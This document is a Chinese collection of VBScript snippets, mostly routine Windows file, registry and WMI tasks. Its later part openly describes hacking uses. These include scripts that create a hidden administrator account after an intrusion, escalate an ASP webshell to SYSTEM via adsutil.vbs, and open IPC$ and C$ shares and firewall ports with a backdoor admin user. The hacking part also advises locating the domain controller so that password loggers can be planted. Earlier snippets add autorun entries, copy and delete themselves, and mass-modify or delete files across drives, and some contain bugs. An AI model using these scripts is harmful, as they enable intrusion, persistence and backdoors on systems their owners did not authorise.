在网上查找资料的时候发现好多经典的vbs代码,收集起来也为了以后学习。有多部分。

VBS脚本用途很多:

1. 计算
2. 处理文件和文件夹
3. 管理Windows
4. 处理Word, Excel, PowerPoint等Office文档
5. 嵌入网页,驱动dHTML
6. 编写HTTP通信
7. 调用系统功能(COM组件),比如说语音说话
8. 分析HTML, XML
9. 调用命令行并分析返回结果
10. 处理图片
11. 自动化按键
12. 调用Windows Media Player并管理
13. 调用Windows Live Messenger并管理
14. 服务端技术:Active Server Page (ASP)
15. 脚本病毒
16. 处理数据库

 

VBS获取系统安装路径

先定义这个变量是获取系统安装路径的,然后我们用”&strWinDir&”调用这个变量。

set WshShell = WScript.CreateObject("WScript.Shell")
strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%")

VBS获取C:\Program Files路径

msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%ProgramFiles%")

VBS获取C:\Program Files\Common Files路径

msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%CommonProgramFiles%")

给桌面添加网址快捷方式

set gangzi = WScript.CreateObject("WScript.Shell")
strDesktop = gangzi.SpecialFolders("Desktop")
set oShellLink = gangzi.CreateShortcut(strDesktop & "\Internet Explorer.lnk")
oShellLink.TargetPath = "http://www.fendou.info"
oShellLink.Description = "Internet Explorer"
oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0"
oShellLink.Save

给收藏夹添加网址

Const ADMINISTRATIVE_TOOLS = 6

Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)
Set objFolderItem = objFolder.Self   

Set objShell = WScript.CreateObject("WScript.Shell")
strDesktopFld = objFolderItem.Path
Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & "\奋斗Blog.url")
objURLShortcut.TargetPath = "http://www.fendou.info/"
objURLShortcut.Save

删除指定目录指定后缀文件

On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile "C:\*.vbs", True
Set fso = Nothing

VBS改主页

Set oShell = CreateObject("WScript.Shell")
oShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.fendou.info"

VBS加启动项

Set oShell=CreateObject("Wscript.Shell")
oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"

VBS复制自己

set copy1=createobject("scripting.filesystemobject")
copy1.getfile(wscript.scriptfullname).copy("c:\huan.vbs")

复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的gangzi.exe)

set copy1=createobject("scripting.filesystemobject")
copy1.getfile("game.exe").copy("c:\gangzi.exe")

VBS获取系统临时目录

Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempfolder
Const TemporaryFolder = 2
Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)
Wscript.Echo tempfolder

就算代码出错 依然继续执行

On Error Resume Next

VBS打开网址

Set objShell = CreateObject("Wscript.Shell")
objShell.Run("http://www.fendou.info/")

VBS发送邮件

NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
Email.From = "发件@qq.com"
Email.To = "收件@qq.com"
Email.Subject = "Test sendmail.vbs"
Email.Textbody = "OK!"
Email.AddAttachment "C:\1.txt"
With Email.Configuration.Fields
.Item(NameSpace&"sendusing") = 2
.Item(NameSpace&"smtpserver") = "smtp.邮件服务器.com"
.Item(NameSpace&"smtpserverport") = 25
.Item(NameSpace&"smtpauthenticate") = 1
.Item(NameSpace&"sendusername") = "发件人用户名"
.Item(NameSpace&"sendpassword") = "发件人密码"
.Update
End With
Email.Send

VBS结束进程

strComputer = "."
Set objWMIService = GetObject _
    ("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
    ("Select * from Win32_Process Where Name = 'Rar.exe'")
For Each objProcess in colProcessList
    objProcess.Terminate()
Next

VBS隐藏打开网址(部分浏览器无法隐藏打开,而是直接打开,适合主流用户使用)

createObject("wscript.shell").run "iexplore http://www.fendou.info/",0

兼容所有浏览器,使用IE的绝对路径+参数打开,无法用函数得到IE安装路径,只用函数得到了Program Files路径,应该比上面的方法好,但是两种方法都不是绝对的。

Set objws=WScript.CreateObject("wscript.shell")
objws.Run """C:\Program Files\Internet Explorer\iexplore.exe""www.baidu.com",vbhide

VBS遍历硬盘删除指定文件名

On Error Resume Next
Dim fPath
strComputer = "."
Set objWMIService = GetObject _
    ("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
    ("Select * from Win32_Process Where Name = 'gangzi.exe'")
For Each objProcess in colProcessList
    objProcess.Terminate()
Next
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colDirs = objWMIService. _
ExecQuery("Select * from Win32_Directory where name LIKE '%c:%' or name LIKE '%d:%' or name LIKE '%e:%' or name LIKE '%f:%' or name LIKE '%g:%' or name LIKE '%h:%' or name LIKE '%i:%'")
Set objFSO = CreateObject("Scripting.FileSystemObject")
For Each objDir in colDirs
fPath = objDir.Name & "\gangzi.exe"
objFSO.DeleteFile(fPath), True
Next

VBS获取网卡MAC地址

Dim mc,mo
Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
For Each mo In mc
If mo.IPEnabled=True Then
MsgBox "本机网卡MAC地址是: " & mo.MacAddress
Exit For
End If
Next

VBS获取本机注册表主页地址

Set reg=WScript.CreateObject("WScript.Shell")
startpage=reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page")
MsgBox startpage

VBS遍历所有磁盘的所有目录,找到所有.txt的文件,然后给所有txt文件最底部加一句话

On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Co = VbCrLf & "路过。。。"

For Each i In fso.Drives
  If i.DriveType = 2 Then
    GF fso.GetFolder(i & "\")
  End If
Next

Sub GF(fol)
  Wh fol
  Dim i
  For Each i In fol.SubFolders
    GF i
  Next
End Sub

Sub Wh(fol)
  Dim i
  For Each i In fol.Files
    If LCase(fso.GetExtensionName(i)) = "shtml" Then
      fso.OpenTextFile(i,8,0).Write Co
    End If
  Next
End Sub

获取计算机所有盘符

Set fso=CreateObject("scripting.filesystemobject")
Set objdrives=fso.Drives '取得当前计算机的所有磁盘驱动器
For Each objdrive In objdrives   '遍历磁盘
MsgBox objdrive
Next

VBS给本机所有磁盘根目录创建文件

On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set gangzis=fso.Drives '取得当前计算机的所有磁盘驱动器
For Each gangzi In gangzis   '遍历磁盘
Set TestFile=fso.CreateTextFile(""&gangzi&"\新建文件夹.vbs",Ture)
TestFile.WriteLine("By www.gangzi.org")
TestFile.Close
Next

VBS遍历本机全盘找到所有123.exe,然后给他们改名321.exe

set fs = CreateObject("Scripting.FileSystemObject")

for each drive in fs.drives
fstraversal drive.rootfolder
next

sub fstraversal(byval this)
for each folder in this.subfolders
fstraversal folder
next
set files = this.files
for each file in files
if file.name = "123.exe" then file.name = "321.exe"
next
end sub

VBS写入代码到粘贴板(先说明一下,VBS写内容到粘贴板,网上千篇一律都是通过InternetExplorer.Application对象来实现,但是缺点是在默认浏览器为非IE中会弹出浏览器,所以费了很大的劲找到了这个代码来实现)

str=“这里是你要复制到剪贴板的字符串”
Set ws = wscript.createobject("wscript.shell")
ws.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0,true

QQ自动发消息

On Error Resume Next
str="我是笨蛋/qq"
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0
WshShell.run "tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,true
WScript.Sleep 3000
WshShell.SendKeys "^v"
WshShell.SendKeys "%s"

VBS隐藏文件

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.GetFile("F:\软件大赛\show.txt")
If objFile.Attributes = objFile.Attributes AND 2 Then
    objFile.Attributes = objFile.Attributes XOR 2
End If

VBS生成随机数(521是生成规则,不同的数字生成的规则不一样,可以用于其它用途)

Randomize 521
point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1))
msgbox join(point,"")

VBS删除桌面IE图标(非快捷方式)

Set oShell = CreateObject("WScript.Shell")
oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon",1,"REG_DWORD"

VBS获取自身文件名

Set fso = CreateObject("Scripting.FileSystemObject")
msgbox WScript.ScriptName

VBS读取Unicode编码的文件

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile("gangzi.txt",1,False,-1)
strText = objFile.ReadAll
objFile.Close
Wscript.Echo strText

VBS读取指定编码的文件(默认为uft-8)gangzi变量是要读取文件的路径

set stm2 =createobject("ADODB.Stream")
stm2.Charset = "utf-8"
stm2.Open
stm2.LoadFromFile gangzi
readfile = stm2.ReadText
MsgBox readfile

VBS禁用组策略

Set oShell = CreateObject("WScript.Shell")
oShell.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins",1,"REG_DWORD"

VBS写指定编码的文件(默认为uft-8)gangzi变量是要读取文件的路径,gangzi2是内容变量

gangzi="1.txt"
gangzi2="www.gangzi.org"
Set Stm1 = CreateObject("ADODB.Stream")
Stm1.Type = 2
Stm1.Open
Stm1.Charset = "UTF-8"
Stm1.Position = Stm1.Size
Stm1.WriteText gangzi2
Stm1.SaveToFile gangzi,2
Stm1.Close
set Stm1 = nothing

VBS获取当前目录下所有文件夹名字(不包括子文件夹)

Set fso=CreateObject("scripting.filesystemobject")
Set f=fso.GetFolder(fso.GetAbsolutePathName("."))
Set folders=f.SubFolders
For Each fo In folders
  wsh.echo fo.Name
Next
Set folders=Nothing
Set f=nothing
Set fso=nothing

VBS获取指定目录下所有文件夹名字(包括子文件夹)

Dim t
Set fso=WScript.CreateObject("scripting.filesystemobject")
Set fs=fso.GetFolder("d:\")
WScript.Echo aa(fs)
Function aa(n)
Set f=n.subfolders
For Each uu In f
Set op=fso.GetFolder(uu.path)
t=t & vbcrlf & op.path
Call aa(op)
Next
aa=t
End function

VBS创建.URL文件(IconIndex参数不同的数字代表不同的图标,具体请参照SHELL32.dll里面的所有图标)

set fso=createobject("scripting.filesystemobject")
qidong=qidong&"[InternetShortcut]"&Chr(13)&Chr(10)
qidong=qidong&"URL=http://www.fendou.info"&Chr(13)&Chr(10)
qidong=qidong&"IconFile=C:\WINDOWS\system32\SHELL32.dll"&Chr(13)&Chr(10)
qidong=qidong&"IconIndex=130"&Chr(13)&Chr(10)
Set TestFile=fso.CreateTextFile("qq.url",Ture)
TestFile.WriteLine(qidong)
TestFile.Close

VBS写hosts(没写判断,无论存不存在都追加底部)

Set fs = CreateObject("Scripting.FileSystemObject")
path = ""&fs.GetSpecialFolder(1)&"\drivers\etc\hosts"
Set f = fs.OpenTextFile(path,8,TristateFalse)
f.Write ""&vbcrlf&"127.0.0.1 www.g.cn"&vbcrlf&"127.0.0.1 g.cn"
f.Close

VBS读取出HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace 下面所有键的名字并循环输出

Const HKLM = &H80000002
strPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace"
Set oreg = GetObject("Winmgmts:\root\default:StdRegProv")
    oreg.EnumKey HKLM,strPath,arr
    For Each x In arr
        WScript.Echo x
    Next

VBS创建txt文件

Dim fso,TestFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set TestFile=fso.CreateTextFile("C:\hello.txt",Ture)
TestFile.WriteLine("Hello,World!")
TestFile.Close

VBS创建文件夹

Dim fso,fld
Set fso=CreateObject("Scripting.FileSystemObject")
Set fld=fso.CreateFolder("C:\newFolder")

VBS判断文件夹是否存在

Dim fso,fld
Set fso=CreateObject("Scripting.FileSystemObject")
If (fso.FolderExists("C:\newFolder")) Then
msgbox("Folder exists.")
else
set fld=fso.CreateFolder("C:\newFolder")
End If

VBS使用变量判断文件夹

Dim fso,fld
drvName="C:\"
fldName="newFolder"
Set fso=CreateObject("Scripting.FileSystemObject")
If (fso.FolderExists(drvName&fldName)) Then
msgbox("Folder exists.")
else
set fld=fso.CreateFolder(drvName&fldName)
End If

VBS加输入框

Dim fso,TestFile,fileName,drvName,fldName
drvName=inputbox("Enter the drive to save to:","Drive letter")
fldName=inputbox("Enter the folder name:","Folder name")
fileName=inputbox("Enter the name of the file:","Filename")
Set fso=CreateObject("Scripting.FileSystemObject")

If(fso.FolderExists(drvName&fldName))Then
msgbox("Folder exists")
Else
Set fld=fso.CreateFolder(drvName&fldName)
End If

Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True)

TestFile.WriteLine("Hello,World!")
TestFile.Close

VBS检查是否有相同文件

Dim fso,TestFile,fileName,drvName,fldName
drvName=inputbox("Enter the drive to save to:","Drive letter")
fldName=inputbox("Enter the folder name:","Folder name")
fileName=inputbox("Enter the name of the file:","Filename")
Set fso=CreateObject("Scripting.FileSystemObject")

If(fso.FolderExists(drvName&fldName))Then
msgbox("Folder exists")
Else
Set fld=fso.CreateFolder(drvName&fldName)
End If

If(fso.FileExists(drvName&fldName&"\"&fileName&".txt"))Then
msgbox("File already exists.")
Else
Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True)
TestFile.WriteLine("Hello,World!")
TestFile.Close
End If

VBS改写、追加 文件

Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",2,True)   '1表示只读,2表示可写,8表示追加
openFile.Write "Hello World!"
openFile.Close

VBS读取文件 ReadAll 读取全部

Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.ReadAll)

VBS读取文件 ReadLine 读取一行

Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.ReadLine())
MsgBox(openFile.ReadLine())   '如果读取行数超过文件的行数,就会出错

VBS读取文件 Read 读取n个字符

Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.Read(2))   '如果超出了字符数,不会出错。

VBS删除文件

Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
fso.DeleteFile("C:\test.txt")

VBS删除文件夹

Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
fso.DeleteFolder("C:\newFolder") '不管文件夹中有没有文件都一并删除

VBS连续创建文件

Dim fso,TestFile
Set fso=CreateObject("Scripting.FileSystemObject")
For i=1 To 10
Set TestFile=fso.CreateTextFile("C:\hello"&i&".txt",Ture)
TestFile.WriteLine("Hello,World!")
TestFile.Close
Next

VBS根据计算机名随机生成字符串

set ws=createobject("wscript.shell")
set wenv=ws.environment("process")
RDA=wenv("computername")
Function UCharRand(n)
For i=1 to n
Randomize ASC(MID(RDA,1,1))
temp = cint(25*Rnd)
temp = temp +65
UCharRand = UCharRand & chr(temp)
Next
End Function
msgbox UCharRand(LEN(RDA))

VBS根据mac生成序列号

Function Encode(strPass)
   Dim i, theStr, strTmp

   For i = 1 To Len(strPass)
    strTmp = Asc(Mid(strPass, i, 1))
    theStr = theStr & Abs(strTmp)
   Next

   strPass = theStr
   theStr = ""

   Do While Len(strPass) > 16
    strPass = JoinCutStr(strPass)
   Loop

   For i = 1 To Len(strPass)
    strTmp = CInt(Mid(strPass, i, 1))
    strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp)
    theStr = theStr & strTmp
   Next

   Encode = theStr
End Function

Function JoinCutStr(str)
   Dim i, theStr
   For i = 1 To Len(str)
    If Len(str) - i = 0 Then Exit For
    theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i +1, 1))) / 2))
    i = i + 1
   Next
   JoinCutStr = theStr
End Function

Function IIf(var, val1, val2)
   If var = True Then
    IIf = val1
   Else
    IIf = val2
   End If
End Function

Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
For Each mo In mc
If mo.IPEnabled=True Then
theStr = mo.MacAddress
Exit For
End If
Next

Randomize Encode(theStr)
rdnum=Int(10*Rnd+5)

Function allRand(n)
  For i=1 to n
    Randomize Encode(theStr)
    temp = cint(25*Rnd)
    If temp mod 2 = 0 then
      temp = temp + 97
    ElseIf temp < 9 then
      temp = temp + 48
    Else
      temp = temp + 65
    End If
    allRand = allRand & chr(temp)
  Next
End Function
msgbox allRand(rdnum)

VBS自动连接adsl

Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
wsh.run "Rasdial 连接名字 账号 密码",false,1

VBS自动断开ADSL

Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
wsh.run "Rasdial /DISCONNECT",false,1

VBS每隔3秒自动更换IP并打开网址实例(值得一提的是,下面这个代码中每次打开的网址都是引用同一个IE窗口,也就是每次打开的是覆盖上次打开的窗口,如果需要每次打开的网址都是新窗口,直接使用run就可以了)

Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
Set oIE = CreateObject("InternetExplorer.Application")
for i=1 to 5
wsh.run "Rasdial /DISCONNECT",false,1
wsh.run "Rasdial 连接名字 账号 密码",false,1
oIE.Navigate "http://www.ip138.com/?"&i&""
Call SynchronizeIE
oIE.Visible = True
next
Sub SynchronizeIE
On Error Resume Next
Do While(oIE.Busy)
WScript.Sleep 3000
Loop
End Sub

用VBS来加管理员帐号
在注入过程中明明有了sa帐号,但是由于net.exe和net1.exe被限制,或其它的不明原因,总是加不了管理员帐号。VBS在活动目录(adsi)部份有一个winnt对像,可以用来管理本地资源,可以用它不依靠cmd等命令来加一个管理员,详细代码如下:

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","lcx") '建立用户
od.SetPassword "123456" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/lcx",user) '得到用户
oe.add os&"/lcx"

这段代码如果保存为1.vbs,在cmd下运行,格式: cscript 1.vbs的话,会在当前系统加一个名字为lcx,密码为123456的管理员。当然,你可以用记事本来修改里边的变量lcx和123456,改成你喜欢的名字和密码值。

用vbs来列虚拟主机的物理目录
有时旁注***成功一个站,拿到系统权限后,面对上百个虚拟主机,怎样才能更快的找到我们目标站的物理目录呢?一个站一个站翻看太累,用系统自带的adsutil.vbs吧又感觉好像参数很多,有点无法下手的感觉,试试我这个脚本吧,代码如下:

Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
sServerName=Obj3w.ServerComment
Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root")
ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf

End If
Next
WScript.Echo ListAllWeb
Set ObjService=Nothing
WScript.Quit

运行cscript 2.vbs后,就会详细列出IIS里的站点ID、描述、及物理目录,是不是代码少很多又方便呢?

用VBS快速找到内网域的主服务器
面对域结构的内网,可能许多小菜没有经验如何去***。如果你能拿到主域管理员的密码,整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上,如果能搞定其中的一台或几台,放个密码记录器之类,相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了,如何在成千台机器里判断出是哪一台呢?dos命令像net group “domain admins” /domain可以做为一个判断的标准,不过vbs也可以做到的,这仍然属于adsi部份的内容,代码如下:

set obj=GetObject("LDAP://rootDSE")
wscript.echo obj.servername

只用这两句代码就足够了,运行cscript 3.vbs,会有结果的。当然,无论是dos命令或vbs,你前提必须要在域用户的权限下。好比你得到了一个域用户的帐号密码,你可以用 psexec.exe -u -p cmd.exe这样的格式来得到域用户的shell,或你的***本来就是与桌面交互的,登陆你***shell的又是域用户,就可以直接运行这些命令了。
vbs的在***中的作用当然不只这些,当然用js或其它工具也可以实现我上述代码的功能;不过这个专栏定下的题目是vbs在hacking中的妙用,所以我们只提vbs。写完vbs这部份我和其它作者会在以后的专栏继续策划其它的题目,争取为读者带来好的有用的文章。

WebShell提权用的VBS代码
asp***一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp***得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp***的权限,代码如下asp***一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp***得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp***的权限,代码如下:

set wsh=createobject("wscript.shell") '创建一个wsh对象
a=wsh.run ("cmd.exe /c cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps C:\WINNT\system32\inetsrv\httpext.dll C:\WINNT\system32\inetsrv\httpodbc.dll C:\WINNT\system32\inetsrv\ssinc.dll C:\WINNT\system32\msw3prt.dll C:\winnt\system32\inetsrv\asp.dll",0) '加入asp.dll到InProcessIsapiApps中

将其保存为vbs的后缀,再上传到服务上,
然后利用asp***执行这个vbs文件后。再试试你的asp***吧,你会发现自己己经是system权限了

VBS开启ipc服务和相关设置

Dim OperationRegistry
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0

Set wsh3=wscript.createobject("wscript.shell")
wsh3.Run "net user helpassistant 123456",0,false
wsh3.Run "net user helpassistant /active",0,false
wsh3.Run "net localgroup administrators helpassistant /add",0,false

wsh3.Run "net start Lanmanworkstation /y",0,false
wsh3.Run "net start Lanmanserver /y",0,false
wsh3.Run "net start ipc$",0,True
wsh3.Run "net share c$=c:\",0,false

wsh3.Run "netsh firewall set notifications disable",0,True
wsh3.Run "netsh firewall set portopening TCP 139 enable",0,false
wsh3.Run "netsh firewall set portopening UDP 139 enable",0,false
wsh3.Run "netsh firewall set portopening TCP 445 enable",0,false
wsh3.Run "netsh firewall set portopening UDP 445 enable",0,false

VBS时间判断代码

Digital=time
    hours=Hour(Digital)
    minutes=Minute(Digital)
    seconds=Second(Digital)
    if (hours<6) then
        dn="凌辰了,还没睡啊?"
    end if
    if (hours>=6) then
        dn="早上好!"
    end if
    if (hours>12) then
        dn="下午好!"
    end if
    if (hours>18) then
        dn="晚上好!"
    end if
    if (hours>22) then
        dn="不早了,夜深了,该睡觉了!"
    end if
    if (minutes<=9) then
        minutes="0" & minutes
    end if
    if (seconds<=9) then
        seconds="0" & seconds
    end if
ctime=hours & ":" & minutes & ":" & seconds & " " & dn
Msgbox ctime

VBS注册表读写

Dim OperationRegistry , mynum
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
mynum = 9
mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest")
MsgBox("before forceguest = "&mynum)

OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0

mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest")
MsgBox("after forceguest = "&mynum)

VBS运行后删除自身代码

dim fso,f
Set fso = CreateObject("Scripting.FileSystemObject")
f = fso.DeleteFile(WScript.ScriptName)
WScript.Echo( WScript.ScriptName)


VBS
取得本机IP
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set IPConfigSet = objWMIService.ExecQuery("Select IPAddress from
Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE")
For Each IPConfig in IPConfigSet
If Not IsNull(IPConfig.IPAddress) Then
For Each strAddress in IPConfig.IPAddress
WScript.Echo strAddress
Next
End If
Next
2 取得本机计算机名
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colComputers = objWMIService.ExecQuery("Select * from Win32_ComputerSystem")
For Each objComputer in colComputers
Wscript.Echo objComputer.Name
Next
4 检查升级包
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")
For Each objOperatingSystem in colOperatingSystems
Wscript.Echo objOperatingSystem.ServicePackMajorVersion & "." &
objOperatingSystem.ServicePackMinorVersion
Next
5 检查 Hot Fix
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colQuickFixes = objWMIService.ExecQuery ("Select * from Win32_QuickFixEngineering")
For Each objQuickFix in colQuickFixes
Wscript.Echo "Description: " & objQuickFix.Description
Wscript.Echo "Hot Fix ID: " & objQuickFix.HotFixID
Next
6 检查本地管理员数目
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
Set objGroup = GetObject("WinNT://" & strComputer & "/Administrators,group")
For Each objUser in objGroup.Members
Wscript.Echo objUser.Name
Next
7 磁盘系统
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colDisks = objWMIService.ExecQuery("Select * from Win32_LogicalDisk Where DriveType =
3")
For Each objDisk in colDisks
Wscript.Echo "Disk drive: "& objDisk.DeviceID & " -- " & objDisk.FileSystem
Next
8 检测自动登录是否开启
Const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set objReg=GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
strKeyPath = "Software\Microsoft\Windows NT\CurrentVersion\WinLogon"
strValueName = "AutoAdminLogon"
objReg.GetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,dwValue
If dwValue = 1 Then
Wscript.Echo "Auto logon is enabled."
Else
Wscript.Echo "Auto logon is disabled."
End If
9 关闭自动登录
Const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set objReg=GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
strKeyPath = "Software\Microsoft\Windows NT\CurrentVersion\WinLogon"
strValueName = "AutoAdminLogon"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName, dwValue
10 检查Guest是否禁用
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
Set objUser = GetObject("WinNT://" & strComputer & "/Guest")
If objUser.AccountDisabled Then
Wscript.Echo "The Guest account is disabled."
Else
Wscript.Echo "The Guest account is enabled."
End If
11 关闭Guest
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
Set objUser = GetObject("WinNT://" & strComputer & "/Guest")
If objUser.AccountDisabled Then
Wscript.Echo "The Guest account is already disabled."
Else
objUser.AccountDisabled = True
objUser.SetInfo
Wscript.Echo "The Guest account has been disabled."
End If
12 检索本地共象
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colShares = objWMIService.ExecQuery("Select * from Win32_Share")
For each objShare in colShares
Wscript.Echo "Name: " & objShare.Name
Wscript.Echo "Path: " & objShare.Path
Wscript.Echo "Type: " & objShare.Type
Next
13 脚本检索一个文件夹下.txt文件 汗哦 值得学习
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colFiles = objWMIService.ExecQuery("SELECT * FROM CIM_DataFile WHERE Path = '\\Documents
and Settings\\Administrator\\桌面\\' AND Drive = 'E:' AND Extension = 'txt'")
Wscript.Echo "Number of .txt files found: " & colFiles.Count
for each aa in colFiles
NL=NL & vbcrlf & aa.name
next
Wscript.Echo NL
14 我如何向用户显示一个用来选择文件的对话框?
问:
嗨,Scripting Guy!有没有什么方法可以让我使用脚本向用户显示一个对话框,供用户选择文件使用?
-- BF
答:
您好,BF。如果您使用的是 Windows 2000,我们不知道实现此操作的方法,至少操作系统中没有内置这
样的方法。但如果您使用的是 Windows XP,情况就不同了。在 Windows XP 上,您可以使用
“UserAccounts.CommonDialog”对象向用户显示一个标准的“文件打开”对话框。可以用类似以下代码
的脚本:
Set objDialog = CreateObject("UserAccounts.CommonDialog")
objDialog.Filter = "All Files|*.*" objDialog.InitialDir = "C:\" intResult =
objDialog.ShowOpen
If intResult = 0 Then Wscript.Quit Else Wscript.Echo objDialog.FileName End If
这是一个小脚本,所以让我们逐行进行解释吧。我们首先创建一个对 UserAccounts.CommonDialog 对象
的对象引用(名为“objDialog”)。接着,我们设置对话框的“筛选”属性。我们要显示所有文件,所
以我们将筛选设置成这样:
objDialog.Filter = "All Files|*.*"
假如我们只想显示文本文件,那该怎么办?在这种情况下,我们将使用以下筛选:
objDialog.Filter = "Text Files|*.txt"
您也许能够看出它是如何运行的:我们为文件类型提供说明 (Text Files),然后插入一个竖线分隔符
(|),最后使用标准的通配符来指示所有 .txt 文件 (*.txt)。是不是想默认显示 .txt 文件,然后为用
户提供查看所有文件的选项?那么可以使用以下代码:
objDialog.Filter = "Text Files|*.txt|All Files|*.*"
试一试,您就明白我们的意思了。
